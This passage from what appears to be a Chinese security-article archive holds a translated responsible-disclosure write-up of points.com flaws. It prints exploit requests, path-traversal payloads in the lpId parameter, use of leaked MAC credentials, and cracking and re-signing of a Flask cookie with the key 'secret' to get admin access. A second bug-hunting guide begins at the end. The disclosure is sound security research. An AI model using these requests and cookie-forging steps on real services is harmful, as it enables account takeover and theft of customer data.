，并在此使用我们的 United MileagePlus 用户名和密码通过类似 OAuth 的流程进行身份验证
|
||||
|
||||
1. 3. 随后通过 redirect_uri
|
||||
参数被重定向回 “buymiles.mileageplus.com”，该站点随后使用从
|
||||
www.united.com
|
||||
获取的授权令牌发送如下 HTTP 请求：
|
||||
|
||||
**HTTP 请求如下：**
|
||||
```
|
||||
POST /mileage-plus/sessions/sso HTTP/2Host: buymiles.mileageplus.comContent-Type: application/json{"mvUrl":"www_united_com_auth_token"}
|
||||
```
|
||||
|
||||
**HTTP 响应**
|
||||
```
|
||||
HTTP/2 201 CreatedContent-type: application/json{"memberValidation": "points_com_user_auth_token"}
|
||||
```
|
||||
|
||||
使用上面 HTTP 响应中返回的 "memberValidation" token，发送另一个 HTTP 请求到以下端点，其中 "memberDetails" 是返回的 "memberValidation" token：
|
||||
|
||||
**HTTP 请求**
|
||||
```
|
||||
POST /payments/authentications/ HTTP/2Host: buymiles.mileageplus.comContent-Type: application/json{"currency":"USD","memberDetails":"points_com_user_auth_token","transactionType":"buy_storefront"}
|
||||
```
|
||||
|
||||
**HTTP 响应**
|
||||
```
|
||||
HTTP/201 CreatedContent-type: application/json{"email": "example@gmail.com", "firstName": "Samuel", "lastName": "Curry", "memberId": "EH123456"}
|
||||
```
|
||||
|
||||
完成 OAuth 类型的流程后，我们发现“memberValidation”令牌充当了 points.com 航空公司租户的用户授权令牌，通过该令牌，我们可以反复执行 API 调用，并以用户身份进行身份验证。
|
||||
|
||||
如果我们能为其他用户生成这个令牌，就能在他们的账户上执行操作，比如转移航空里程和获取他们的个人信息。这成为了我们的目标之一，随着我们了解更多航空公司网站如何利用 points.com 基础设施，我们对此进行了进一步的探索。
|
||||
# (1) Points 收款端点的授权不当，攻击者仅凭姓氏和奖励号码即可伪装为任何用户进行身份验证
|
||||
|
||||
在我们继续寻找泄露“memberValidation”令牌的漏洞时，发现了 United 网站上的一个流程，标题为“为他人购买里程”。
|
||||
|
||||
|
||||
|
||||
当你作为已认证的 MileagePlus 用户进入此页面时，它会要求你添加一个收款人以便发送里程。收款人输入字段包括了名字、姓氏和 MileagePlus 号码。当我们发送添加收款人的 HTTP 请求时，我们注意到响应中返回了一些非常有趣的内容：
|
||||
|
||||
**HTTP 请求**
|
||||
```
|
||||
POST /mileage-plus/mvs/recipient HTTP/2Host: buymiles.mileageplus.comContent-Type: application/json{"mvPayload":{"identifyingFactors":{"firstName":"Victim","lastName":"Victim","memberId":"EH123456"}},"lpId":"loyalty_program_uuid"}
|
||||
```
|
||||
|
||||
**HTTP 响应**
|
||||
```
|
||||
HTTP/2 201 CreatedContent-type: application/json{"memberId": "EH123456", "links": {"self": {"href": "points_com_user_auth_token"}}, "membershipLevel": "1"}
|
||||
```
|
||||
|
||||
HTTP 响应中包含了该成员的授权令牌，这是我们之前了解到的，用于检索他们的信息并代表他们转移里程的令牌！
|
||||
|
||||
该漏洞的工作原理如下：通过在正常的网页 UI 中输入他们的名字、姓氏和奖励号码，服务器会在 HTTP 响应中返回一个授权令牌，该令牌可用于检索他们的账单地址、电话号码、电子邮件、隐藏的信用卡信息和账单历史。我们还可以利用该令牌代表他们转移里程。
|
||||
|
||||
要使用泄露的令牌，我们只需将其插入网站上的任何 API 调用中，并执行诸如转移里程或简单地检索会员个人身份信息（PII）之类的操作。我们仅凭知道他们的姓氏和奖励号码就能够完全认证进入受害者账户！
|
||||
|
||||
|
||||
### 将问题升级到影响其他奖励计划
|
||||
|
||||
此时，在发现仅凭知道姓氏和奖励号码就可以访问客户账户后，我们开始好奇是否在“buymiles.mileageplus.com”网站上还有其他存在类似权限问题的端点，而这些端点不需要我们了解客户的任何先决信息（此时我们觉得我们的漏洞非常简单）。
|
||||
|
||||
我们注意到，在生成会员授权令牌的原始易受攻击的 HTTP 请求中，有一个名为 "lpId" 的参数。根据 LCP API 文档， 这个参数指的是忠诚计划的 UUID（例如，Delta、United、Southwest 等）。看起来 United 网站上的 API 也在访问其他像 Delta 或 Emirates 这样的程序所使用的相同 API。
|
||||
|
||||
我们能够验证，通过交换忠诚计划 UUID 和用户奖励号码为另一个程序中的值，我们能够利用这个漏洞访问其他奖励计划的客户账户。如果我们将忠诚计划 UUID 和奖励号码交换为 Delta 客户的值，它会返回该不同奖励计划中的受害者的授权令牌。
|
||||
|
||||
有趣的是，这种行为还表明，这实际上是在访问一个通用的 points.com API，该 API 似乎连接了所有忠诚计划，而不仅仅是 United Airlines。
|
||||
|
||||
|
||||
|
||||
|
||||
在将问题升级到为任何航空公司生成授权令牌后，我们开始对易受攻击的 HTTP 请求进行模糊测试，并很快意识到忠诚计划 UUID 参数被作为 HTTP 路径参数发送到一个代理的 HTTP 服务器。
|
||||
|
||||
我们通过观察在忠诚计划 ID 参数末尾附加问号和井号后，服务器发送的 HTTP 请求出现异常行为，从而发现了这一点：
|
||||
|
||||
**HTTP 请求**
|
||||
```
|
||||
POST /mileage-plus-transfer/mvs/recipient HTTP/1.1Host: buymiles.mileageplus.com{"mvPayload":{},"lpId":"0ccbb8ee-5129-44dd-9f66-a79eb853da73**#**"} <-- pound symbol appended
|
||||
```
|
||||
|
||||
**HTTP 响应**
|
||||
```
|
||||
HTTP/1.1 400 Bad RequestContent-type: application/json{"error":"Cannot process type 'text/html', expected 'application/json'"}
|
||||
```
|
||||
|
||||
我们立刻猜测，“lpId” 参数被发送到 “lcp.points.com” API，并且在我们附加问号后，它会破坏 HTTP 响应，使得后端无法解析来自第二个服务器的 HTTP 响应。我们通过猜测忠诚计划 UUID 前后的目录，并查看 API 是否仍然正常工作来确认这一点。
|
||||
|
||||
经过一段时间的测试，我们验证了以下每个有效负载都允许我们正常添加收件人，从而验证了 HTTP 请求确实被代理到第二个 HTTP 服务器。我们通过阅读 LCP API 文档并观察到许多带有忠诚计划 UUID 的 HTTP 请求具有前置目录 "lps" 和附加目录 "mvs" 来进行此操作。通过发送这些附加目录并接收到正常的 200 OK HTTP 响应，意味着我们能够在 API 上进行遍历，并有可能访问其他 API 端点。
|
||||
```
|
||||
"lpId":"/0ccbb8ee-5129-44dd-9f66-a79eb853da73""lpId":"/../lps/0ccbb8ee-5129-44dd-9f66-a79eb853da73""lpId":"0ccbb8ee-5129-44dd-9f66-a79eb853da73/mvs/?""lpId":"/../lps/0ccbb8ee-5129-44dd-9f66-a79eb853da73/mvs/?"
|
||||
```
|
||||
|
||||
根据我们对 LCP API OAuth 2.0 MAC 身份验证方案的理解，如果这些次级上下文的 HTTP 请求被定向到 "lcp.points.com" 主机，它们需要使用特定客户的 "macKey" 和 "macID" 参数进行签名。
|
||||
|
||||
然而，令人非常奇怪和有趣的是，这个 HTTP 请求能够为任何奖励计划生成授权令牌。当我们尝试使用我们提供的 "lcp.points.com" 凭据进行操作时，我们收到了授权错误，表示我们没有权限访问特定的路由。
|
||||
|
||||
看到这个 HTTP 请求可以为任何奖励计划生成授权令牌后，我们首先想到的是，points.com 的 United 网站（由 points.com 构建和托管）正在使用一个“神令牌”作为授权令牌，该令牌在发送 HTTP 请求生成 points.com 会员授权令牌时拥有对所有奖励计划的访问权限。
|
||||
|
||||
如果是这种情况，并且我们可以遍历 API，那么我们将能够重写整个 POST 请求，以访问任何具有全局权限的 "lcp.points.com" 端点。我们新的兴趣变成了寻找一个可以遍历的端点，以测试 HTTP 请求是否确实被“神令牌”签名。
|
||||
# (2) 特权 API 上的目录遍历导致访问 2200 万客户订单记录，涉及 Points.com 奖励计划
|
||||
|
||||
为了验证我们关于次级上下文 API 可能使用具有全局权限的授权令牌的理论，我们寻求找到其他可以遍历的端点，并覆盖整个 API 调用，允许我们控制整个 HTTP 请求。在从 LCP API 文档中获取端点列表后，我们通过入侵者配置将它们测试，以检查带有附加 "?" 的特定端点，以切断剩余路径。
|
||||
|
||||
例如，为了尝试找到 "/api/example" 的正确目录，我们会发送以下 "lpId" 负载：
|
||||
```
|
||||
"lpId":"/api/example?""lpId":"../api/example?""lpId":"../../api/example?"
|
||||
```
|
||||
|
||||
最终，我们收到了以下负载的第一个 200 OK HTTP 响应：
|
||||
|
||||
**HTTP 请求**
|
||||
```
|
||||
POST /mileage-plus-transfer/mvs/recipient HTTP/1.1Host: buymiles.mileageplus.com{"mvPayload":{},"lpId":"../../v1/search/orders/?"}
|
||||
```
|
||||
|
||||
**HTTP 响应**
|
||||
```
|
||||
HTTP/2 400 Bad RequestContent-type: application/json{"error":"Missing query parameter"}
|
||||
```
|
||||
|
||||
在看到缺失的查询参数后，我们尝试通过“lpId”参数来模糊化 GET 参数，方法是将其附加（例如 /v1/search/orders?query=x），但未能找到任何东西。这让我们困惑了一会儿，后来我们意识到“/v1/search/orders”端点是一个 POST 请求，需要一个 JSON 请求体。
|
||||
|
||||
我们看到了我们发送的空参数“mvPayload”，并尝试在 JSON 请求体中进行模糊测试。我们的侵入脚本运行后，我们看到一个成功的请求，响应的大小非常大！似乎参数“q”是服务器正在查找的参数。
|
||||
|
||||
通过发送以下 POST 请求，我们能够访问所有 points.com 忠诚度计划的交易数据，包括达美航空、阿联酋航空、新加坡航空、联合航空、阿提哈德航空、加拿大航空、汉莎航空、西南航空、阿拉斯加航空、夏威夷航空以及许多酒店奖励积分提供商，如希尔顿、万豪和洲际酒店：
|
||||
|
||||
**HTTP 请求**
|
||||
```
|
||||
POST /mileage-plus-transfer/mvs/recipient HTTP/1.1Host: buymiles.mileageplus.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0Content-Type: application/jsonContent-Length: 59Connection: close{"mvPayload":{"q":"*"},"lpId":"../../v1/search/orders/?"}
|
||||
```
|
||||
|
||||
**HTTP 响应**
|
||||
```
|
||||
HTTP/1.1 200 OKDate: Fri, 10 Mar 2023 00:02:04 GMTContent-Type: application/json{ "orders": [ { "payment": { "billingInfo": { "cardName": "Visa", "cardNumber": "XXXXXXXXXXXXXXXX", "cardType": "VISA", "city": "REDACTED", "country": "US", "expirationMonth": 7, "expirationYear": 2023, "firstName": "REDACTED", "lastName": "REDACTED", "phone": "REDACTED", "state": "TX", "street1": "REDACTED", "zip": "REDACTED" }, "costs": { "baseCost": 275, "fees": [], "taxes": [], "totalCost": 275 }, "currency": "USD", "type": "creditCard" }, "user": { "balance": 94316, "email": "REDACTED", "firstName": "REDACTED", "lastName": "REDACTED", "memberId": "REDACTED", "memberValidation": "https://lcp.points.com/v1/lps/LOYALTY_PROGRAM_ID/mvs/MEMBER_TOKEN", "membershipLevel": "1" }, "flightBookingDetails": { "destinationCode": "MDW", "destinationName": "Chicago (Midway), IL - MDW", "originCode": "SDF", "originName": "Louisville, KY - SDF", "roundTrip": true } }],"totalCount": "22745869"}
|
||||
```
|
||||
|
||||
一旦我们看到 HTTP 响应，我们立即报告了这个问题。从各种航空公司和酒店奖励计划中，我们能够查询到超过 2200 万条记录。看起来，“macKey”和“macID”用于签名 HTTP 请求，类似于一种“神钥”，它能访问所有的奖励计划数据。
|
||||
|
||||
这个漏洞影响了
|
||||
几乎所有 points.com 的客户
|
||||
。
|
||||
### Points.com 发现了我们
|
||||
|
||||
在我们完成报告或查看是否有其他端点可访问（例如，向客户奖励账户添加积分）之前，points.com 团队就已经检测到我们的测试，并且完全关闭了联合航空的生产版 points.com 网站。真可惜！如果我们是恶意行为者，通过该漏洞试图枚举任何大量记录（查询每次返回 100 条记录），我们可能会被抓到。points.com 团队的检测与响应实在令人印象深刻。
|
||||
|
||||
在对 points.com 基础设施进行几天测试后，我们越来越感兴趣，寻找一种能够让我们复制或生成无限里程的漏洞。虽然“buymiles.mileageplus.com”网站已经停机，但我们开始探索 points.com 其他部分的基础设施。
|
||||
# (3) 泄露的维珍奖励计划凭证允许攻击者代表维珍签名 API 请求、添加/移除奖励积分、访问客户账户
|
||||
|
||||
在我们对 points.com 资产进行测试的过程中，我们发现了一个由维珍奖励客户使用的网站，用于在合作伙伴网站上购物时赚取积分，该网站为“shopsaway.virginatlantic.com”。
|
||||
|
||||
|
||||
|
||||
这个网站引起了我们的兴趣，因为它是由 points.com 托管的，可能利用了 points.com 或维珍的凭证来访问与他们的奖励计划相关的信息。
|
||||
|
||||
我们对该资产进行了探索工具扫描，发现了多个 PHP 端点，其中包括一个“login1.php”端点，该端点返回了以下信息：
|
||||
|
||||
|
||||
|
||||
在“login1.php”端点的 HTTP 响应中，包含了一个看似是测试奖励会员的个人资料信息，并且还有各种密钥。
|
||||
|
||||
这些密钥包括了客户的授权令牌，但更有趣的是，里面还泄露了“macID”和“macKey”值，我们推测这些是维珍在 points.com 生产租户账户中使用的密钥！
|
||||
|
||||
根据我们对“lcp.points.com”API的理解，我们可以利用这些密钥代表航空公司访问API。我们开始寻找验证这一点的方法。经过一段时间在互联网上搜索，我们发现了以下代码，它可以用来使用泄露的凭证签署 HTTP 请求并访问“lcp.points.com”API：
|
||||
```
|
||||
if __name__ == '__main__': if '-u' not in sys.argv: exit("Usage: %s -u <macKeyIdentifier>:<macKey> [curl options...] <url>" % os.path.basename(__file__))
|
||||
```
|
||||
|
||||
使用来自
|
||||
上述GitHub仓库的代码，旨在帮助签署发送到“lcp.points.com”的HTTP请求
|
||||
，我们可以使用以下语法向“lcp.points.com”API发送维珍的签名HTTP请求：
|
||||
```
|
||||
python lcp_curl.py -u MAC_ID:MAC_SECRET "https://lcp.points.com/v1/search/orders/?limit=1000"
|
||||
```
|
||||
|
||||
在运行上述脚本以代表维珍计划签署HTTP请求并发送到“/v1/search/orders”端点后，我们收到了以下数据：
|
||||
```
|
||||
{ "orders": [ { "payment": { "billingInfo": { "cardName": "Visa", "cardNumber": "XXXXXXXXXXXXXXXX", "cardType": "VISA", "city": "REDACTED", "country": "US", "expirationMonth": 4, "expirationYear": 2023, "firstName": "REDACTED", "lastName": "REDACTED", "phone": "REDACTED", "state": "CA", "street1": "REDACTED", "zip": "REDACTED" } ... ], "totalCount": "2032431"}
|
||||
```
|
||||
|
||||
成功了！
|
||||
|
||||
这验证了泄露的凭证是有效的，并且可以用来访问维珍奖励计划。攻击者可以使用这些凭证访问任何“lcp.points.com”端点，包括管理员端点，如为客户添加/移除奖励积分、访问客户帐户以及修改与维珍奖励计划相关的租户信息。
|
||||
|
||||
我们报告了该问题，相关端点在一小时内被移除。
|
||||
# (4) “widgets.unitedmileageplus.com”上的授权绕过允许攻击者仅通过姓氏和奖励号码进行身份验证，可能访问United MileagePlus管理面板
|
||||
|
||||
在United的漏洞赏金计划中，有一些域名明确列为不在范围内，包括“mileageplus.com”。我们猜测它们被排除在范围之外是因为许多“mileageplus.com”子域实际上是由points.com提供支持的。
|
||||
|
||||
该站点的一个子域是“widgets.unitedmileageplus.com”，它充当United MileagePlus会员的SSO服务，让会员能够通过该服务登录到“buymiles.mileageplus.com”和“mpxadmin.unitedmileageplus.com”等应用程序。
|
||||
|
||||
|
||||
|
||||
在使用
|
||||
gau
|
||||
枚举子域名后，我们发现有多个登录页面可以让你登录到相关的MileagePlus应用程序。
|
||||
|
||||
这些登录页面每个都要求不同的参数：有些会要求你提供United MileagePlus号码和密码，而其他页面则要求你提供用户名、密码以及安全问题的答案。有一个非常奇怪的表单，它只要求你提供MileagePlus号码和姓氏。
|
||||
|
||||
|
||||
|
||||
我们发现，从不同授权方法返回的令牌在格式上是相同的。经过测试，我们发现可以将通过仅使用姓氏和MileagePlus号码进行身份验证时返回的HTTP响应中的令牌复制到通过更安全的用户名、密码和安全问题的身份验证端点中，并且你将能够登录到任何应用程序！
|
||||
|
||||
这意味着存在一个授权绕过漏洞，我们可以跳过使用会员凭据登录账户的步骤，而只需提供他们的姓名和MileagePlus号码。
|
||||
|
||||
从影响的角度来看，多个应用程序可以通过此绕过访问，包括“buymiles.mileageplus.com”，该应用程序披露了个人身份信息，并允许我们将里程转移给自己。我们继续利用这个漏洞将我们自己账户中的里程转移到另一个账户，证明了使用这个授权绕过漏洞确实可以转移其他用户的里程。
|
||||
|
||||
|
||||
|
||||
另一个我们可能能够（潜在地）进行身份验证的应用是“mpxadmin.unitedmileageplus.com”网站。我们无法确认这一点，因为在发现该问题时，我们没有拥有可能有权访问该应用的联合航空员工的姓氏和MileagePlus号码。如果我们有的话，我们推测应该是可能的，并且这种级别的访问权限将允许我们管理客户的余额、查看交易记录，并对MileagePlus奖励计划执行管理操作。
|
||||
|
||||
|
||||
|
||||
由于我们无法确认这一点，探索仍在继续！
|
||||
### 寻找更严重的漏洞
|
||||
### 回到对 Points.com 全球管理控制台的猎取
|
||||
|
||||
在意识到我们在航空公司网站上无法进一步造成影响后，我们将注意力转回到最初发现的网站，该网站是由 points.com 员工和奖励计划所有者用于行政管理他们的客户和奖励计划的。
|
||||
|
||||
从我们在 "console.points.com" 网站上的 JavaScript 代码中看到的内容来看，有很多端点只有 points.com 员工可以访问。我们在这些端点上进行了几个小时的测试，尝试并未能找到任何授权绕过或权限检查漏洞。在一段时间内的沮丧尝试后，我们放松了一下，最终意识到一个显而易见的事情，那就是我们一直忽视的东西……
|
||||
# (5) 通过弱 Flask 会话密钥完全访问 Points.com 核心管理控制台和忠诚度管理网站
|
||||
|
||||
在我们终于停止测试 API 并寻找权限漏洞后，我们意识到我们完全忘记查看会话 cookie 了！
|
||||
|
||||
根据 cookie 的格式，我们能看出它是某种加密的 blob，因为它的格式类似于 JWT。经过一段时间的试探，我们最终意识到核心应用会话令牌是一个签名的 Flask 会话 cookie。
|
||||
```
|
||||
session=.eJwNyTEOgzAMBdC7eO6QGNskXCZKrG8hgVqJdEPcvX3ru6n5vKJ9PwfetFHCiCqwtYopo4NLiPOo4jYMuhizpJLV8oicilQF_qOeF_a104taXJg7bdHPiecHfX8ccg.ZFCriA.99lOhq3pO8yBWM7XjBshaKjqPKU
|
||||
```
|
||||
|
||||
我们将该 cookie 传入 Ian Carroll 的 "
|
||||
cookiemonster
|
||||
" 工具。该工具会通过使用已知的密钥字典自动猜测用于签名 cookie 的秘密。在几秒钟后，我们得到了一个响应！
|
||||
```
|
||||
zlz@htp ~> cookiemonster -cookie ".eJwNyTEOgzAMBdC7eO6QGNskXCZKrG8hgVqJdEPcvX3ru6n5vKJ9PwfetFHCiCqwtYopo4NLiPOo4jYMuhizpJLV8oicilQF_qOeF_a104taXJg7bdHPiecHfX8ccg.ZFCriA.99lOhq3pO8yBWM7XjBshaKjqPKU"🍪 CookieMonster 1.4.0ℹ️ CookieMonster loaded the default wordlist; it has 38919 entries.✅ Success! I discovered the key for this cookie with the flask decoder; it is "secret".
|
||||
```
|
||||
|
||||
用于管理所有奖励资料、忠诚度计划和客户订单的 points.com 员工使用的 Flask 会话密钥是单词 "secret"。理论上，我们现在可以使用任何我们想要的数据签名我们的 cookie，只要服务器没有在 cookie 中包含一些不可预测或签名的数据。我们登录到该网站，并将我们的会话 cookie 复制到 flask-unsign 工具中，以调查 cookie 的内容：
|
||||
```
|
||||
{"_csrf_token": "redacted", "_fresh": true, "_id": "redacted", "_user_id": "redacted", "sid": "redacted", "user": {"authenticationType": "account", "email": "samwcurry@gmail.com", "feature_flags": ["temp_resending_emails"], "groups": [], "id": "redacted", "mac_key": "redacted", "mac_key_identifier": "redacted", "roles": []}}
|
||||
```
|
||||
|
||||
根据我们在解密的 cookie 内容中看到的，没有任何不可预测的内容会阻止我们篡改 cookie。 "roles" 和 "groups" 数组似乎是最有用的，因为我们现在可以使用任何我们想要的数据重新签名它，因此我们回过头来查找与这些字段相关的 JavaScript。
|
||||
|
||||
根据我们在 JavaScript 中找到的信息，最具特权的角色是 "configeditor" 角色。我们将其与 "admin" 组一起添加到我们的 cookie 中，并使用以下命令重新签名：
|
||||
```
|
||||
flask-unsign -s -S "secret" -c "{'_csrf_token': 'bb2cf0e85b20f13dcfebecb436c91b160f392fa2555961c23b3fcc67775edc50', '_fresh': True, '_id': 'a76abcdda16ed36f131df6e5f30c7e9cf142131ebcd4c0706b4c05ec720006daeaef804fcd925743954f10c8a5b3e10018216585157c88e6aedaa8fb42702dd3', '_user_id': '8547961e-b122-4b42-a124-4169cfc86a94', 'sid': 'bd2e7256bf1011eda2410242ac11000a', 'user': {'authenticationType': 'account', 'email': 'samwcurry@gmail.com', 'feature_flags': ['temp_resending_emails', 'v2_manual_bonus_page', 'v2_request_for_reimbursements'], 'groups': ['admin'], 'id': '8547961e-b122-4b42-a124-4169cfc86a94', 'mac_key': 'blLWTn1VyhIWNPoAVC2X9-Iqsqei7pEPkgXjxnhRepg=', 'mac_key_identifier': '8d261003b476497e8be4c2c077d69b5f', 'roles': [{'role': 'https://lcp.points.com/v1/roles/configeditor'}]}}"
|
||||
```
|
||||
|
||||
该命令使用 "secret" 密钥重新签名了我们的 cookie，并给了我们以下的 cookie：
|
||||
```
|
||||
session=.eJy9U01r3DAU_C8-x1lJ1oe9UOgSegiUsrQhCZRg9PG0665tOZKcdgn5733eHAKFQLeHniw_zcwbzZOei9am6NscDjAW68IYZj2BWhhGPK2c9WDAGl5J21BDJfFVw7xmQohGUssqU3lrpVJKgLOCFBdF6yOkfbHOcQb86xzKaiW1sc5pKsFVEpWp8xKEr4hV0FhPOcMaIIZboog0-BFgFSOESKdBg68J99Y1TCheNYJ7SmythamAEkJrRqWoBRXK1jVIDU7r2hvOFGHOVYutOUF8dVMLrtA9lIYyVnJElZoyXnIq0YqtpW44MtIJbBwDxYQ02JBS1GWcEsaZthQbE43ARblYPxd6znsYc2d17sJ4c5xgObq1YR4zwmDQXY-VpIefdo7x-HEK3ZjTpQ0DbnvQeY7Q-l7vUrH-XmQYphazhNF146490RMCn1g76HHWfWvCOKd20jt4LUd4nCHl1oeI624wc0wwoKVUPFwUuxjm6aR8FcYUetikba8zgoeNG7pxwZyTz6Bte4DjklH_-e5mpLfH_fXdl23Y3F6x-6a8fkyP0Knp0_awu__xa9x_hWn34Y2Iw1jS8t2SXlE7JjHQynAleaOgNsAtw8ugnGyM8MiL6Hnx_3xaIWef85TWq1Vvp8u3LFdPdHWCriJoV4axPxYvF39NeiecMxS2p9pmmr7N0xRiPoerp6lM59P6f2LZOeUwQPx_HQcdD5DxOuOTeeosJBtG3-0gpnNUTAgH1IiwtF-G_Af_vRE-vLz8BnvIpoE.ZFDJgQ.Lld9KeetbZJ_KBeLI2KOHB7EnaA
|
||||
```
|
||||
|
||||
在插入这个 cookie 后，我们尝试重新访问 "console.points.com" 网站，看到了一堆额外的功能。我们成功进入并获得了完全的管理员权限！
|
||||
|
||||
其中一个立即引起我们注意的页面是 "Manual Bonus"。点击后，我们发现它能够手动为任何程序向任何奖励账户添加积分。大奖来了！
|
||||
|
||||
|
||||
|
||||
我们还可以在点击 "Loyalty Platform" 侧边栏按钮后访问 "admin-loyaltywallet.points.com" 网站。该网站具有更多功能，允许我们通过用户的姓名、会员 ID 或电子邮件地址查询用户，还可以做更多操作：
|
||||
|
||||
|
||||
|
||||
其他标签包括配置和实验管理：
|
||||
|
||||
|
||||
|
||||
另一个有趣的影响是通过“促销”标签修改奖励兑换金额的能力。我们可以更新奖励项目，例如，用1 Delta里程兑换1亿United里程，或者每花费1美元就获得100万里程。用户随后将能够兑换他们的里程，从而获得几乎无限的里程。
|
||||
|
||||
|
||||
|
||||
对于用户管理，您可以查看、更新或删除用户帐户。可以查看帐户的所有历史记录、连接和会员信息。
|
||||
|
||||
|
||||
|
||||
"console.points.com" 网站上的另两个有趣页面是模块和路由端点。攻击者可以按预期使用这些端点，将恶意 JavaScript 添加到管理面板的每个页面上。如果未被检测到，这将成为一个超级有趣的后门，攻击者的 JavaScript 将在管理网站的每个页面上加载。
|
||||
|
||||
|
||||
|
||||
由于这些都是生产环境中的奖励客户，攻击者可以通过修改平台合作伙伴端点中每个航空公司使用的密钥对，暂时关闭所有奖励旅行。一旦 MAC ID 和 MAC 密钥被覆盖，就会破坏航空公司与 points.com 通信所使用的基础设施，这意味着客户将无法使用航空公司积分预订航班。
|
||||
|
||||
|
||||
|
||||
需要注意的一点是，这个管理面板是为 points.com 员工设计的，用于在租户级别管理奖励程序。拥有这种访问权限的攻击者可以撤销实际航空公司用于提供服务的凭证，阻止其客户访问 API，从而关闭该特定航空公司的全球奖励旅行。除了访问客户账户信息之外，这种访问权限还存在许多恶意攻击者可以滥用的有趣场景。
|
||||
|
||||
我们报告了这个漏洞，points.com 团队几乎立即回应，尽管我们的邮件是在凌晨 3:26 AM CST 发送的（抱歉这么晚进行黑客攻击，我和 Ian 在飞机上时都很不安，才发现了这个漏洞！）。团队理解报告的严重性，并立即关闭了 "console.points.com" 网站。
|
||||
|
||||
我们尝试通过从源服务器 IP 进行 vhost 跳跃来绕过他们的修复，但没有成功。该网站被完全关闭，问题很快得到了修复。
|
||||
# 结尾
|
||||
|
||||
在向 points.com 团队提交最后的报告后，我们的总体发现使我们能够访问全球大量奖励程序的客户信息、代表客户转移积分，并最终访问全球管理面板。我们已将所有问题报告给了 points.com 安全团队，他们迅速修复了这些问题，并与我们合作完成了这一披露。
|
||||
|
||||
|
||||
|
||||
获取更多精彩内容，尽在Track安全社区~：
|
||||
https://bbs.zkaq.cn
|
||||
|
||||
**声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学********习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！**
|
||||
|
||||
**如果你是一个网络安全爱好者，欢迎加入我的知识星球：zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前沿漏洞，每周安全面试经验、SRC实战纪实等文章分享，微信识别二维码，即可加入。**
|
||||
|
||||
****
|
||||
|
||||
847
doc/2025-05/突破浅层测试桎梏：多维度漏洞挖掘突破与实践探索.md
Normal file
847
doc/2025-05/突破浅层测试桎梏：多维度漏洞挖掘突破与实践探索.md
Normal file
@ -0,0 +1,847 @@
|
||||
# 突破浅层测试桎梏：多维度漏洞挖掘突破与实践探索
|
||||
一天要喝八杯水 神农Sec 2025-05-15 01:10
|
||||
|
||||
扫码加圈子
|
||||
|
||||
获内部资料
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#
|
||||
|
||||
网络安全领域各种资源，EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章，以及工具分享、前沿信息分享、POC、EXP分享。
|
||||
不定期分享各种好玩的项目及好用的工具，欢迎关注。加内部圈子，文末有彩蛋（知识星球优惠卷）。
|
||||
#
|
||||
|
||||
原文链接：
|
||||
https://forum.butian.net/share/4325
|
||||
|
||||
作者：
|
||||
一天要喝八杯水
|
||||
|
||||
|
||||
|
||||
|
||||
****
|
||||
**多维度漏洞挖掘突破与实践探索**
|
||||
|
||||
|
||||
在漏洞挖掘领域,刚入门新手常受限于浅层测试模式,他们多止步于基础功能验证,扫描接口时若未发现铭感信息便迅速转换目标,并只关注首次探测到的接口忽略前置接口的检查; 信息泄露单纯明文id鉴权场景以大幅减少唯有探索新的测试手法才能突破瓶颈
|
||||
|
||||
本文整合许多优秀师傅分享思路与笔者事件经验,萃取其中精华皆在拓展读者挖掘视角,这些分散的优质思路此前缺乏系统归纳,本文讲其一部分思路优化汇总,期望实现思路价值的叠加效应,若本文对您有帮助欢迎点赞支持,后续将推出更多整合后的漏洞挖掘场景分享,欢迎交流学习 不足之处望指出,转载请标明出处！
|
||||
### 前置基础
|
||||
|
||||
熟悉各种请求以及状态码,在功能点无从下手时,未授权往往在这种信息中;很多人忽略了这个点,接口测试只测试第一层找到的接口,并不会仔细的去看接口的前置目录是否正确,一味的爆破得到404
|
||||
,并且第一次找到的接口拼接后也是看一眼功能而已,并不会去观察字节大小加载的新信息去尝试二度拼接
|
||||
#### 请求 and 状态
|
||||
|
||||
**请求方法**
|
||||
```
|
||||
GET：获取资源。GET请求用于从服务器获取指定的资源。它是最常见的请求方法，通常用于请求和读取服务器上的数据。
|
||||
|
||||
POST：提交数据。POST请求用于向服务器提交数据，通常用于创建新的资源或在服务器上执行某些操作。
|
||||
|
||||
PUT：更新资源。PUT请求用于向服务器更新指定的资源，通常用于修改或替换现有数据。
|
||||
|
||||
DELETE：删除资源。DELETE请求用于从服务器删除指定的资源。
|
||||
|
||||
HEAD：获取资源的元数据。HEAD请求与GET请求类似，但它只返回资源的响应头部信息，而不返回实际的资源内容。
|
||||
|
||||
OPTIONS：询问服务器可接受的请求方法。OPTIONS请求用于向服务器查询支持的请求方法。
|
||||
|
||||
PATCH：部分更新资源。PATCH请求用于对服务器上的资源进行局部更新，只修改指定的字段或属性。
|
||||
|
||||
TRACE：追踪请求的路径。TRACE请求用于在客户端和服务器之间进行往返检查，以查看请求在传输过程中是否被修改。
|
||||
|
||||
CONNECT：建立代理服务器隧道。CONNECT请求用于与代理服务器建立隧道连接，通常用于通过代理访问SSL加密的资源
|
||||
|
||||
```
|
||||
|
||||
**状态码**
|
||||
```
|
||||
200 OK： 请求成功。服务器已成功处理请求
|
||||
|
||||
301 Moved Permanently： 永久重定向。请求的资源已被永久移动到新的位置。
|
||||
|
||||
302 Found：临时重定向。请求的资源临时被移动到另一个URL
|
||||
|
||||
304 Not Modified：未修改。自从上次请求后，资源没有发生变化，可以使用缓存的版本
|
||||
|
||||
400 Bad Request：错误请求。服务器无法理解请求，通常是由于客户端错误 缺少参数
|
||||
|
||||
401 Unauthorized：未授权。请求要求用户的身份验证。
|
||||
|
||||
403 Forbidden：禁止访问 服务器理解请求但拒绝执行。可能是因为权限问题。
|
||||
|
||||
404 Not Found：未找到 服务器上没有找到请求的资源。
|
||||
|
||||
405 Method Not Allowed：方法不被允许。请求行中指定的请求方法不能被用于请求相应的资源
|
||||
|
||||
408 Request Timeout：请求超时。服务器等待请求时发生了超时。
|
||||
|
||||
500 Internal Server Error：内部服务器错误。服务器遇到了阻止其完成请求的意外情况。
|
||||
|
||||
501 Not Implemented：未实现。服务器不支持请求的功能，无法完成请求。
|
||||
|
